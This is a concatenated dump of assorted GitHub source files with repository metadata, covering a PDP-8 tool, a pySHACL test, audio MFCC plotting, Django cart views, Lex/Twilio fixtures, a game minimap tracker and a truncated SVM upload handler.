BEGIN')\nlineCount = 0\naddrCount = 0\nfor cell in theList:\n\tif lineCount == 0:\n\t\tif len(str(addrCount)) == 4:\n\t\t\toutVal = str(addrCount) + ':'\n\t\telif len(str(addrCount)) == 3:\n\t\t\toutVal = '0' + str(addrCount) + ':'\n\t\telif len(str(addrCount)) == 2:\n\t\t\toutVal = '00' + str(addrCount) + ':'\n\t\telif len(str(addrCount)) == 1:\n\t\t\toutVal = '000' + str(addrCount) + ':'\n\t\tprint(outVal,end='')\n\tlineCount += 1\n\taddrCount += 1\t\n\tnewCell\t= ''\n\tif len(cell) == 4:\n\t\tnewCell = cell\n\telif len(cell) == 3:\n\t\tnewCell = '0' + cell\n\telif len(cell) == 2:\n\t\tnewCell = '00' + cell\n\telif len(cell) == 1:\n\t\tnewCell = '000' + cell\n\tprint(' ' + newCell,end='')\n\tif lineCount == 8:\n\t\tlineCount = 0\n\t\tprint(';')\nprint(';\\nEND;')\n\n\n","repo_name":"douggilliland/Retro-Computers","sub_path":"PDP-8/PDP8_Tools/shufflebits.py","file_name":"shufflebits.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"20"} +{"seq_id":"24898836759","text":"# -*- coding: utf-8 -*-\n#\n\"\"\"\nhttps://github.com/RDFLib/pySHACL/issues/40\n\n\"\"\"\nfrom pyshacl import validate\nfrom pyshacl.rdfutil import load_from_source\n\n\nwith open(\"./test/issues/test_040/sample-network.ttl\", \"r\") as f:\n data_graph = load_from_source(f)\n\nshacl_graph = load_from_source(\"./test/issues/test_040/03-Network.ttl\")\n\n\ndef test_040():\n conforms, g, s = validate(data_graph=data_graph, shacl_graph=shacl_graph, ont_graph=shacl_graph, inference='rdfs')\n assert conforms\n\n\nif __name__ == \"__main__\":\n test_040()\n","repo_name":"RDFLib/pySHACL","sub_path":"test/issues/test_040/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","stars":218,"dataset":"github-code","pt":"20"} +{"seq_id":"12760981011","text":"\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.io import wavfile\nfrom scipy.fftpack import dct\nfrom ques1 import spectrogram\n\nf,d=wavfile.read('Dataset/training/nine/0a7c2a8d_nohash_1.wav')\n\nplt.plot(d)\nplt.xticks(np.arange(0,16000,4000),np.arange(0,1,0.00025))\nplt.ylabel(\"Amplitude\")\nplt.xlabel(\"Time (second)\")\nplt.show()\n\n\n\ndef mel(spec):\n return(2595*np.log10(1+(spec/700)))\n\ndef mfcc(spec):\n \n #melspectrogram from spectrogram via mel conversion from frequency\n melspec=mel(spec)\n #dct filter on mel spectrogram\n mfcc=dct(melspec)\n \n return mfcc\n \n\nw=150\n_,spec=spectrogram(d,w)\n\ntt=mfcc(spec)\nplt.imshow(tt)\nplt.show()","repo_name":"dikshantsagar/MCA-Assignments","sub_path":"Assgn2/ques2.py","file_name":"ques2.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"28134966026","text":"keys = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']\r\n\r\ntable = {x:str(x) for x in range(10)}\r\ntable_rev = {str(x):x for x in range(10)}\r\n\r\ntable.update({x+10:keys[x] for x in range(len(keys))})\r\ntable_rev.update({keys[x]:x+10 for x in range(len(keys))})\r\n\r\ndef convert(a, b, c=False):\r\n if c == False:\r\n c = 10\r\n if b != c:\r\n if b != 10:\r\n if type(a) == str:\r\n ab10 = [table_rev[x] for x in list(a)]\r\n else:\r\n ab10 = [int(x) for x in list(str(a))]\r\n ab10 = sum([(ab10[i]*(b**(len(ab10) - i - 1))) for i in range(len(ab10))])\r\n else:\r\n ab10 = a\r\n\r\n abc = []\r\n print(ab10)\r\n while ab10 != 0:\r\n x = int(ab10)\r\n v = ab10%c\r\n if v in table:\r\n v = table[v]\r\n abc.append(str(v))\r\n ab10 //= c\r\n print(str(a)[:10], c, v, ab10)\r\n abc.reverse() \r\n val = \"\".join(abc)\r\n \r\n return val\r\n\r\nif __name__ == '__main__':\r\n print(convert(65535, 10, 36))\r\n print(convert('1ekf', 36))\r\n print(convert('christian', 36))\r\n print(convert('christian300chriscom1002980180firstbank', 36))\r\n","repo_name":"iamr0b0tx/basic_programs","sub_path":"Base converter/base_converter.py","file_name":"base_converter.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"29179089351","text":"from flask import Flask\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_script import Manager\nfrom flask_migrate import Migrate, MigrateCommand\n\nPOSTGRES_USER = \"test\"\nPOSTGRES_PW = \"test\"\nPOSTGRES_URL = \"localhost\"\nPOSTGRES_DB = \"test\"\nDB_URL = 'postgresql+psycopg2://{user}:{pw}@{url}/{db}'.format(user=POSTGRES_USER,pw=POSTGRES_PW,url=POSTGRES_URL,db=POSTGRES_DB)\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///app.db'\n# app.config['SQLALCHEMY_DATABASE_URI'] = DB_URL\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False # silence the deprecation warning\n\ndb = SQLAlchemy(app)\nmigrate = Migrate(app, db)\n\nmanager = Manager(app)\nmanager.add_command('db', MigrateCommand)\n\nclass User(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(128))\n\nif __name__ == '__main__':\n manager.run()","repo_name":"paikend/flask-service-starter","sub_path":"home/manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"11168272364","text":"from rest_framework.viewsets import GenericViewSet\nfrom rest_framework.mixins import CreateModelMixin, ListModelMixin\nfrom cart.models import Cart, ProductCart\nfrom cart.serializers import CartSerializer, ProductCartAddDeleteSerializer\nfrom rest_framework.permissions import AllowAny\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom django.core.cache import cache\n\nfrom online_shop.models import Product\nfrom django.conf import settings\n\n\nclass CartView(CreateModelMixin, ListModelMixin, GenericViewSet):\n queryset = Cart.objects.all().prefetch_related(\n 'cart_products__product'\n )\n serializer_class = CartSerializer\n permission_classes = [AllowAny, ]\n\n def create(self, request, *args, **kwargs):\n if request.method == 'POST':\n session_id = request.session.get(settings.CART_SESSION_ID)\n cart, created = Cart.objects.get_or_create(session_id=session_id)\n request.session[settings.CART_SESSION_ID] = str(cart.session_id)\n return Response(CartSerializer(cart).data, status=status.HTTP_201_CREATED)\n\n def list(self, request, *args, **kwargs):\n if request.method == 'GET':\n session_id = request.session.get(settings.CART_SESSION_ID)\n cart_cache = cache.get(session_id)\n\n if cart_cache:\n queryset = cart_cache\n else:\n cart, created = Cart.objects.get_or_create(session_id=session_id)\n request.session[settings.CART_SESSION_ID] = str(cart.session_id)\n\n queryset = self.filter_queryset(self.get_queryset().filter(session_id=session_id))\n cache.set(session_id, queryset, 60 * 30)\n\n page = self.paginate_queryset(queryset)\n if page is not None:\n serializer = self.get_serializer(page, many=True)\n return self.get_paginated_response(serializer.data)\n\n serializer = self.get_serializer(queryset, many=True)\n return Response(serializer.data)\n\n\nclass CartResetView(CreateModelMixin, GenericViewSet):\n queryset = Cart.objects.all()\n serializer_class = CartSerializer\n permission_classes = [AllowAny, ]\n\n def create(self, request, *args, **kwargs):\n if request.method == 'POST':\n session_id = request.session.get(settings.CART_SESSION_ID)\n if session_id:\n cart = Cart.objects.get(session_id=session_id)\n cart.reset_products()\n else:\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n return Response(CartSerializer(cart).data, status=status.HTTP_205_RESET_CONTENT)\n\n\nclass ProductCartAddView(CreateModelMixin, GenericViewSet):\n queryset = ProductCart.objects.all()\n serializer_class = ProductCartAddDeleteSerializer\n permission_classes = [AllowAny, ]\n\n def create(self, request, *args, **kwargs):\n if request.method == 'POST':\n session_id = request.session.get(settings.CART_SESSION_ID)\n cart, created = Cart.objects.get_or_create(session_id=session_id)\n request.session[settings.CART_SESSION_ID] = str(cart.session_id)\n\n product_id = request.data.get('product_id')\n if not product_id:\n return Response({'product_id': 'is required', 'quantity': 'default 1'},\n status=status.HTTP_400_BAD_REQUEST)\n quantity = request.data.get('quantity') or 1\n\n product_in_cart = ProductCart.objects.all().filter(product_id=product_id, cart=cart).first()\n if product_in_cart:\n product_in_cart.quantity += quantity\n product_in_cart.save()\n else:\n product_in_cart = ProductCart.objects.create(cart=cart, product=Product.objects.get(id=product_id))\n product_in_cart.save()\n\n return Response(ProductCartAddDeleteSerializer(product_in_cart).data, status=status.HTTP_202_ACCEPTED)\n\n\nclass ProductCartRemoveView(CreateModelMixin, GenericViewSet):\n queryset = ProductCart.objects.all()\n serializer_class = ProductCartAddDeleteSerializer\n permission_classes = [AllowAny, ]\n\n def create(self, request, *args, **kwargs):\n if request.method == 'POST':\n session_id = request.session.get(settings.CART_SESSION_ID)\n cart, created = Cart.objects.get_or_create(session_id=session_id)\n request.session[settings.CART_SESSION_ID] = str(cart.session_id)\n\n product_id = request.data.get('product_id')\n if not product_id:\n return Response({'product_id': 'is required', 'quantity': 'default 1'},\n status=status.HTTP_400_BAD_REQUEST)\n quantity = request.data.get('quantity') or 1\n\n product_in_cart = ProductCart.objects.all().filter(product_id=product_id, cart=cart).first()\n\n if product_in_cart:\n if product_in_cart.quantity <= quantity:\n product_in_cart.delete()\n return Response(None, status=status.HTTP_204_NO_CONTENT)\n else:\n product_in_cart.quantity -= quantity\n product_in_cart.save()\n else:\n Response({\"Have no this product in cart\"}, status=status.HTTP_204_NO_CONTENT)\n return Response(ProductCartAddDeleteSerializer(product_in_cart).data, status=status.HTTP_202_ACCEPTED)\n","repo_name":"extezy/shop","sub_path":"shop/cart/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"27860018341","text":"#!/usr/bin/env python3\n\n\"\"\" 18_spinboxes.py\n\nSpinboxes\n\n:author:\twolf\n:created:\t2023.09.16\n\"\"\"\n\n\nimport tkinter as tk\nimport ttkbootstrap as tbs\nfrom ttkbootstrap.constants import *\n\n\napp = tbs.Window(themename=\"cosmo\")\napp.title(\"TTK Bootstrap!\")\napp.iconbitmap(\"img/favicon.ico\")\napp.geometry(\"500x350\")\n\ndef get_spinner():\n label_1.config(text=spinner_1.get())\n\nspin_list = [\"John\", \"April\", \"Bob\", \"Mary\"]\n\nspinner_1 = tbs.Spinbox(font=(\".AppleSystemUIFont\", 18),\n from_=0, to=10,\n values=spin_list, # replaces from_ to\n state=\"readonly\",\n command=get_spinner)\n# spinner_1.pack(pady=20)\nspinner_1.set(spin_list[0])\nspinner_1.pack(pady=20)\n\nbutton_1 = tbs.Button(style=\"success\", text=\"Get value by clicking!\", command=get_spinner)\nbutton_1.pack(pady=20)\n\nlabel_1 = tbs.Label(text=\"\", font=(\".AppleSystemUIFont\", 18))\nlabel_1.pack(pady=20)\napp.mainloop()","repo_name":"wrogner/ttkbootstrap","sub_path":"18_spinboxes.py","file_name":"18_spinboxes.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"3949353479","text":"arr = list(input())\r\n\r\nstack = []\r\n\r\nresult = ''\r\n\r\nfor i in arr:\r\n if i.isalpha() == True:\r\n result += i\r\n else:\r\n # 여는 괄호는\r\n if i == '(':\r\n # 그냥 추가\r\n stack.append(i)\r\n # 닫는 괄호라면\r\n elif i == ')':\r\n # 스택이 존재하고 여는 괄호를 만날때까지\r\n while stack and stack[-1] != '(':\r\n # 안에있는 사칙연산을 더해준다.\r\n result += stack.pop()\r\n # 여는 괄호를 삭제\r\n stack.pop()\r\n # 곱하기나 나누기라면\r\n elif i == '*' or i == '/':\r\n # +,-가 마지막이라면 *나 /를 먼저 계산하므로\r\n # 스택이 존재하고 마지막이 +,-가 아니라면 result에 추가\r\n while stack and stack[-1] != '+' and stack[-1] != '-' and stack[-1] != '(':\r\n result += stack.pop()\r\n stack.append(i)\r\n # +,- 라면\r\n elif i == '+' or i == '-':\r\n # 스택이 존재하고 여는괄호가 아니라면\r\n # 결과값에 스택들을 추가\r\n while stack and stack[-1] != '(':\r\n result += stack.pop()\r\n stack.append(i)\r\nwhile stack:\r\n result += stack.pop()\r\nprint(result)","repo_name":"wns0394/BaekJoon","sub_path":"백준/Gold/1918. 후위 표기식/후위 표기식.py","file_name":"후위 표기식.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"18250466704","text":"from datetime import timedelta\n\nfrom rest_framework import generics\nfrom django.db.models import QuerySet\nfrom django.utils import timezone\n\nfrom exercise.submission_models import Submission\nfrom .serializers import StatisticsSerializer\n\n\nclass BaseStatisticsView(generics.RetrieveAPIView):\n \"\"\"\n Returns submission statistics for the entire system, over a given time window.\n\n Returns the following attributes:\n\n - `submission_count`: total number of submissions.\n - `submitters`: number of users submitting.\n\n Operations\n ----------\n\n `GET /statistics/`:\n returns the statistics for the system.\n\n - URL parameters:\n - `endtime`: date and time in ISO 8601 format indicating the end point\n of time window we are interested in. Default: now.\n - `starttime`: date and time in ISO 8601 format indicating the start point\n of time window we are interested in. Default: one day before endtime\n \"\"\"\n serializer_class = StatisticsSerializer\n\n def get_queryset(self) -> QuerySet:\n queryset = Submission.objects.all()\n\n endtime = self.request.query_params.get('endtime')\n starttime = self.request.query_params.get('starttime')\n serializer = self.get_serializer(data={'starttime': starttime, 'endtime': endtime})\n serializer.is_valid(raise_exception=True)\n self.endtime = serializer.validated_data['endtime'] or timezone.now()\n self.starttime = serializer.validated_data['starttime'] or self.endtime - timedelta(days=1)\n\n return queryset.filter(submission_time__range=[self.starttime, self.endtime])\n\n def get_object(self):\n qs = self.get_queryset()\n obj = {\n 'starttime': self.starttime,\n 'endtime': self.endtime,\n 'submission_count': qs.count(),\n 'submitters': qs.values('submitters').distinct().count()\n }\n return obj\n","repo_name":"apluslms/a-plus","sub_path":"lib/api/statistics.py","file_name":"statistics.py","file_ext":"py","file_size_in_byte":1916,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"20"} +{"seq_id":"19510131919","text":"TEST_TWILIO_MSG_DATA = {\n 'ToCountry': 'US',\n 'ToState': '',\n 'SmsMessageSid': 'SM6e278d660c9943727ac2141bb285a006',\n 'NumMedia': '0',\n 'ToCity': '',\n 'FromZip': '56470',\n 'SmsSid': 'SM6e278d660c9943727ac2141bb285a006',\n 'FromState': 'MN',\n 'SmsStatus': 'received',\n 'FromCity': 'PARK RAPIDS',\n 'Body': 'message content',\n 'FromCountry': 'US',\n 'To': '+18559972901',\n 'ToZip': '',\n 'NumSegments': '1',\n 'MessageSid': 'SM6e278d660c9943727ac2141bb285a006',\n 'AccountSid': 'AC4b33ce4f86f272fb4045df8a110c0047',\n 'From': '+12184141141',\n 'ApiVersion': '2010-04-01'\n}\n\nLEX_EVENT = {\n 'messageVersion': '1.0', 'invocationSource': 'DialogCodeHook', 'userId': '12184141141',\n 'sessionAttributes': {}, # all values must be string\n 'requestAttributes': {},\n 'bot': {'name': 'SMSBotRunTime', 'alias': '$LATEST', 'version': '$LATEST'},\n 'outputDialogMode': 'Text',\n 'currentIntent': {'name': 'SMSBot',\n 'slots': {'Choose': None, 'APTime': None, 'FirstName': None, 'Time': None,\n 'Date': None},\n 'slotDetails': {'Choose': {'resolutions': [], 'originalValue': None},\n 'APTime': {'resolutions': [], 'originalValue': None},\n 'FirstName': {'resolutions': [], 'originalValue': None},\n 'Time': {'resolutions': [], 'originalValue': None},\n 'Date': {'resolutions': [], 'originalValue': None}},\n 'confirmationStatus': 'None'},\n 'inputTranscript': 'book'\n}\n\nLEX_RESP = {\n 'ResponseMetadata': {'HTTPHeaders': {'connection': 'keep-alive',\n 'content-length': '331',\n 'content-type': 'application/json',\n 'date': 'Fri, 09 Feb 2018 20:11:16 GMT',\n 'x-amzn-requestid': '602f2f10-0dd5-11e8-8603-e16f268dd7b7'},\n 'HTTPStatusCode': 200,\n 'RequestId': '602f2f10-0dd5-11e8-8603-e16f268dd7b7',\n 'RetryAttempts': 0},\n 'dialogState': 'Fulfilled',\n 'intentName': 'SMSBot',\n 'message': \"I'm sorry. I can't find your appointment from the phone number you called in. Have a wonderful day.\",\n 'sessionAttributes': {},\n 'slots': {'APTime': None,\n 'Choose': None,\n 'Date': None,\n 'FirstName': None,\n 'Time': None}\n}\n\nAWS_CONTACTFLOW_EVENT = {\n 'Details': {\n 'ContactData': {\n 'Attributes': {}, 'Channel': 'VOICE', 'ContactId': '818c669e-95d4-4e5e-8750-2fff887a17f3',\n 'CustomerEndpoint': {\n 'Address': TEST_TWILIO_MSG_DATA['From'], 'Type': 'TELEPHONE_NUMBER'\n },\n 'InitialContactId': '818c669e-95d4-4e5e-8750-2fff887a17f3', 'InitiationMethod': 'INBOUND',\n 'InstanceARN': 'arn:aws:connect:us-east-1:029992932068:instance/e7f9f1cf-2fc6-4055-bc22-6967ed18fd90',\n 'PreviousContactId': '818c669e-95d4-4e5e-8750-2fff887a17f3', 'Queue': None,\n 'SystemEndpoint': {'Address': '+17029847578', 'Type': 'TELEPHONE_NUMBER'}\n },\n 'Parameters': {}\n },\n 'Name': 'ContactFlowEvent'\n}\n","repo_name":"rahulmr99/vue-django-app","sub_path":"backend/lexbot/tests/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":3368,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"33627545042","text":"import cv2\r\nimport numpy as np\r\nimport util\r\nimport json\r\nimport itertools\r\n\r\nfrom icon_tracker import IconTracker\r\nfrom rect_tracker import RectTracker\r\n\r\n\r\nclass MinimapTracker:\r\n def __init__(self, targets, icon_radius=11, *args, **kwargs):\r\n\r\n # Icon radius\r\n self.icon_radius = icon_radius\r\n\r\n # Create trackers for every target\r\n self.targets = targets\r\n self.trackers = [ IconTracker(i, team_color=k, radius=self.icon_radius, *args, **kwargs) for k,v in self.targets.items() for i in v ]\r\n \r\n # Load minimap Image\r\n self._minimap_image_path = kwargs['map_image'] if 'map_image' in kwargs.keys() else 'minimap.png'\r\n self.minimap_image = cv2.imread(self._minimap_image_path)\r\n \r\n # Map position\r\n self.map_pos = kwargs['map_pos'] if 'map_pos' in kwargs.keys() else None\r\n \r\n # Map size\r\n self.map_size = kwargs['map_size'] if 'map_size' in kwargs.keys() else None\r\n \r\n # Map border (for padding)\r\n self.map_border = kwargs['map_border'] if 'map_border' in kwargs.keys() else 10\r\n \r\n # Rect tracker\r\n self.rect_tracker = RectTracker()\r\n self.rect_pos = None\r\n self.rect_path = dict()\r\n \r\n # Counter, increment by 1 each time track() is called.\r\n self.counter = 0\r\n \r\n def track(self, frame, counter = None):\r\n assert frame is not None, 'Invalid input image'\r\n if counter:\r\n self.counter = counter\r\n if not self.locate_minimap(frame):\r\n return None\r\n \r\n maparea = frame[self.map_pos[0]:self.map_pos[2],\r\n self.map_pos[1]:self.map_pos[3],:]\r\n # Track and Remove rectangle\r\n# top_left, bot_right = self.rect_tracker.track(util.grayscale(maparea))\r\n# self.rect_pos = (*top_left, *bot_right)\r\n# self.rect_path[counter] =(round(self.rect_pos[0][0]/maparea.shape[1], 4),\r\n# round(self.rect_pos[0][1]/maparea.shape[0], 4),\r\n# round(self.rect_pos[1][0]/maparea.shape[1], 4),\r\n# round(self.rect_pos[1][1]/maparea.shape[0], 4))\r\n# maparea = self.rect_tracker.remove_rect(maparea)\r\n \r\n # Pad the maparea\r\n padded_map = self.pad(maparea, self.map_border)\r\n gray = util.grayscale(padded_map)\r\n circle_map = np.zeros_like(gray)\r\n circles = cv2.HoughCircles(image = gray,\r\n method = cv2.HOUGH_GRADIENT,\r\n dp = 1,\r\n minDist = 8,\r\n param1 = 20,\r\n param2 = 9.0, # 8.0 to 9.0\r\n minRadius = self.icon_radius-1,\r\n maxRadius = self.icon_radius+1)\r\n if circles is None:\r\n return None\r\n if len(circles) > 0:\r\n circles = np.uint16(np.around(circles))\r\n for i in circles[0, :]:\r\n cv2.circle(img = circle_map,\r\n center = tuple(i[:2]),\r\n radius = i[2]+1,\r\n color = (255,255,255),\r\n thickness = -1)\r\n circle_mask = np.uint8(circle_map / 255) * 255\r\n masked_map = cv2.bitwise_and(gray, gray, mask = circle_mask)\r\n# cv2.imshow('circle_mask', masked_map)\r\n \r\n show_map = padded_map.copy()\r\n for i in self.trackers:\r\n pos = i.track(show_map, padded_map, masked_map, self.counter)\r\n cv2.circle(img = show_map,\r\n center = pos, \r\n radius = round(i.radius)+1, \r\n color = (0, 255, 0), \r\n thickness = 1)\r\n\r\n ### Detect Collision and BITE (test)\r\n for i,j in itertools.combinations(self.trackers, 2):\r\n a = i.loc\r\n b = j.loc\r\n dist = util.distance(a, b)\r\n if dist <= 2 * i.radius:\r\n if self.trackers.index(i) < self.trackers.index(j): \r\n i.bite(j)\r\n else:\r\n j.bite(i)\r\n else:\r\n i.icon_mask = i.icon_mask_og.copy()\r\n j.icon_mask = j.icon_mask_og.copy()\r\n\r\n self.counter += 1 \r\n# cv2.imshow('show_map', show_map)\r\n \r\n def locate_minimap(self, frame):\r\n '''\r\n Returns True if minimap is located.\r\n Returns False if no valid match.\r\n '''\r\n if not self.map_pos:\r\n pos = [0,self.minimap_image.shape[0],(0,0)]\r\n gray_frame = util.grayscale(frame)\r\n for i in range(self.minimap_image.shape[0], 120, -2):\r\n resized_minimap = cv2.resize(util.grayscale(self.minimap_image), (i,i))\r\n res = cv2.matchTemplate(gray_frame , resized_minimap, cv2.TM_CCOEFF_NORMED)\r\n t_pos = tuple([j.tolist()[0] for j in np.where(res == res.max())])\r\n if res.max() > pos[0]:\r\n pos = [res.max(),i, t_pos]\r\n if pos[0] >= 0.5:\r\n self.map_pos = (pos[2][0], pos[2][1], pos[2][0]+pos[1], pos[2][1]+pos[1])\r\n self.map_size = (pos[1], pos[1])\r\n return True\r\n return False\r\n else:\r\n return True\r\n \r\n \r\n @staticmethod\r\n def pad(image, padding):\r\n '''\r\n padding = (top, left, bottom, right)\r\n padding = all\r\n padding = (top_bottom, left_right)\r\n '''\r\n if type(padding) == int:\r\n top, left, bottom, right = padding, padding, padding, padding\r\n elif len(padding) == 1:\r\n top, left, bottom, right = padding, padding, padding, padding\r\n elif len(padding) == 2:\r\n top, left, bottom, right = padding[0], padding[1], padding[0], padding[1]\r\n elif len(padding) == 4:\r\n tpp, left, bottom, right = padding\r\n else:\r\n raise ValueError\r\n \r\n if len(image.shape) == 2:\r\n empty = np.zeros((image.shape[0]+top+bottom, image.shape[1]+left+right), dtype=np.uint8)\r\n empty[top:-bottom, left:-right] = image.copy()\r\n elif len(image.shape) == 3:\r\n empty = np.zeros((image.shape[0]+top+bottom, image.shape[1]+left+right, image.shape[2]), dtype=np.uint8)\r\n empty[top:-bottom, left:-right,:] = image.copy()\r\n return empty\r\n \r\n def save(self, savepath, path = True, rect = True):\r\n with open(savepath, 'w') as f:\r\n json.dump(self.json(path = path, rect = rect), f)\r\n print('successfully saved!')\r\n \r\n def json(self, path = True, rect = True):\r\n output = dict()\r\n if path:\r\n for tracker in self.trackers:\r\n name = tracker.name\r\n path = tracker.path\r\n path = { i : [round((j[0]-self.map_border)/self.map_size[0], 4), round((j[1]-self.map_border)/self.map_size[1], 4)] for i,j in path.items() }\r\n output[name] = path\r\n if rect:\r\n output['rect'] = self.rect_path\r\n return output\r\n\r\n","repo_name":"DeMoriarty/MinimapTrackerrV2","sub_path":"minimap_tracker.py","file_name":"minimap_tracker.py","file_ext":"py","file_size_in_byte":7300,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"21813199543","text":"from CallBackOperator import CallBackOperator\nfrom SignalGenerationPackage.DynamicPointsDensitySignal.DynamicPointsDensityUIParameters import DynamicPointsDensityUIParameters\nimport sys\n\n\nclass DecelerationTimeCallBackOperator(CallBackOperator):\n\n def __init__(self, model):\n super().__init__(model)\n\n # overridden\n def ConnectCallBack(self, window):\n self.window = window\n\n self.setup_callback_and_synchronize_slider(\n validator_min=DynamicPointsDensityUIParameters.DecelerationTimeSliderMin,\n validator_max=DynamicPointsDensityUIParameters.DecelerationTimeSliderMax,\n validator_accuracy=DynamicPointsDensityUIParameters.DecelerationTimeLineEditAccuracy,\n line_edit=window.DecelerationTimelineEdit,\n slider_min=DynamicPointsDensityUIParameters.DecelerationTimeSliderMin,\n slider_max=DynamicPointsDensityUIParameters.DecelerationTimeSliderMax,\n slider=window.DecelerationTimehorizontalSlider,\n update_slider_func=self.update_deceleration_time_slider,\n update_line_edit_func=self.update_deceleration_time_line_edit\n )\n\n def update_deceleration_time_slider(self):\n self.update_slider(\n line_edit=self.window.DecelerationTimelineEdit,\n slider=self.window.DecelerationTimehorizontalSlider,\n calc_constant=DynamicPointsDensityUIParameters.DecelerationTimeCalcConstant\n )\n\n def update_deceleration_time_line_edit(self):\n self.update_line_edit(\n line_edit=self.window.DecelerationTimelineEdit,\n slider=self.window.DecelerationTimehorizontalSlider,\n calc_constant=DynamicPointsDensityUIParameters.DecelerationTimeCalcConstant,\n update_model_func=self.update_deceleration_time\n )\n\n def update_deceleration_time(self, val):\n self.model.DecelerationTime = val","repo_name":"PashaIanko/DeltaCP-Application","sub_path":"SignalGenerationPackage/DynamicPointsDensitySignal/DecelerationTimeCallBackOperator.py","file_name":"DecelerationTimeCallBackOperator.py","file_ext":"py","file_size_in_byte":1905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"36791450523","text":"import difflib\nfrom rich import print\nimport re\nimport sys\n\n\ndef print_diff(a, b):\n s = difflib.SequenceMatcher(None, a, b)\n\n for tag, i1, i2, j1, j2 in s.get_opcodes():\n s1 = a[i1:i2]\n s2 = b[j1:j2]\n\n if tag == \"replace\":\n print(f\"[strike red]{s1}[/strike red][green]{s2}[/green]\", end=\"\")\n elif tag == \"insert\":\n print(f\"[green]{s2}[/green]\", end=\"\")\n elif tag == \"equal\":\n print(s1, end=\"\")\n elif tag == \"delete\":\n print(f\"[strike red]{s1}[/strike red]\", end=\"\")\n else:\n raise ValueError\n print()\n\ndef printc(s):\n\n colors = [\"#80FF00\", \"#7F00FF\", \"#FF0001\", \"#00FFFE\"]\n\n res = []\n\n i = 0\n\n for c in s:\n if c == \"(\":\n res.append(f\"[{colors[i]}]([/{colors[i]}]\")\n i += 1\n elif c == \")\":\n i -= 1\n res.append(f\"[{colors[i]}])[/{colors[i]}]\")\n else:\n res.append(c)\n \n print(\"\".join(res))\n\n\ndef print_both(a, b):\n s = difflib.SequenceMatcher(None, a, b)\n\n\n res = []\n\n for tag, i1, i2, j1, j2 in s.get_opcodes():\n s1 = a[i1:i2]\n s2 = b[j1:j2]\n\n if tag == \"replace\":\n res.append(f\"[strike red]{s1}[/strike red]\")\n elif tag == \"insert\":\n res.append(f\"\")\n elif tag == \"equal\":\n res.append(s1)\n elif tag == \"delete\":\n res.append(f\"[strike red]{s1}[/strike red]\")\n else:\n raise ValueError\n\n printc(\"\".join(res))\n\n res = []\n\n for tag, i1, i2, j1, j2 in s.get_opcodes():\n s1 = a[i1:i2]\n s2 = b[j1:j2]\n\n if tag == \"replace\":\n res.append(f\"[green]{s2}[/green]\")\n elif tag == \"insert\":\n res.append(f\"[green]{s2}[/green]\")\n elif tag == \"equal\":\n res.append(s1)\n elif tag == \"delete\":\n res.append(f\"\")\n else:\n raise ValueError\n printc(\"\".join(res))\n\n\nlines = sys.stdin.readlines()\ns = \"\\n\".join(lines)\n\ndetector = re.compile(r'Unable to unify[^\\\"]*\\\"(?P[^\\\"]*)\\\"[^\\\"]*with[^\\\"]*\\\"(?P[^\\\"]*)\\\"')\n\nmatchs = detector.findall(s)\n\nif len(matchs) == 0:\n print(\"not found\")\n if len(lines) == 2:\n a, b = lines\n print_both(\" \".join(a.split()), \" \".join(b.split()))\n\nfor a, b in matchs:\n print_both(\" \".join(a.split()), \" \".join(b.split()))\n\n","repo_name":"CatalaLang/catala-formalization","sub_path":"diff_helper.py","file_name":"diff_helper.py","file_ext":"py","file_size_in_byte":2381,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"23"} +{"seq_id":"14496343078","text":"import json\nimport numpy as np\nimport pandas as pd\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom io import BytesIO\nimport base64\nimport itertools\nfrom sklearn.model_selection import train_test_split\nfrom matplotlib.pyplot import figure\nfrom sklearn import svm\nfrom sklearn import metrics\nfrom sklearn.metrics import confusion_matrix\nfrom uuid import uuid4\n\ncsv_file = {}\nX_database = {}\nY_database = {}\n# Phase (1). data collection (file upload):\ndef svm_fileUpload(files):\n # if request.method == 'POST':\n if files['file'].content_type != 'text/csv':\n return (json.dumps({'message': 'File must be a CSV'}), 400)\n \n df = pd.read_csv(files.get('file'))\n\n uuid = str(uuid4())\n\n csv_file[uuid] = df\n #print(df)\n return (json.dumps({'id': uuid}), 200)\n\n# Phase (2). data preprocessing (removing missing values and scaling, return processed dataframe preview): \ndef svm_rmMissingvalues(id):\n df = csv_file[id]\n df_new = df.dropna()\n return 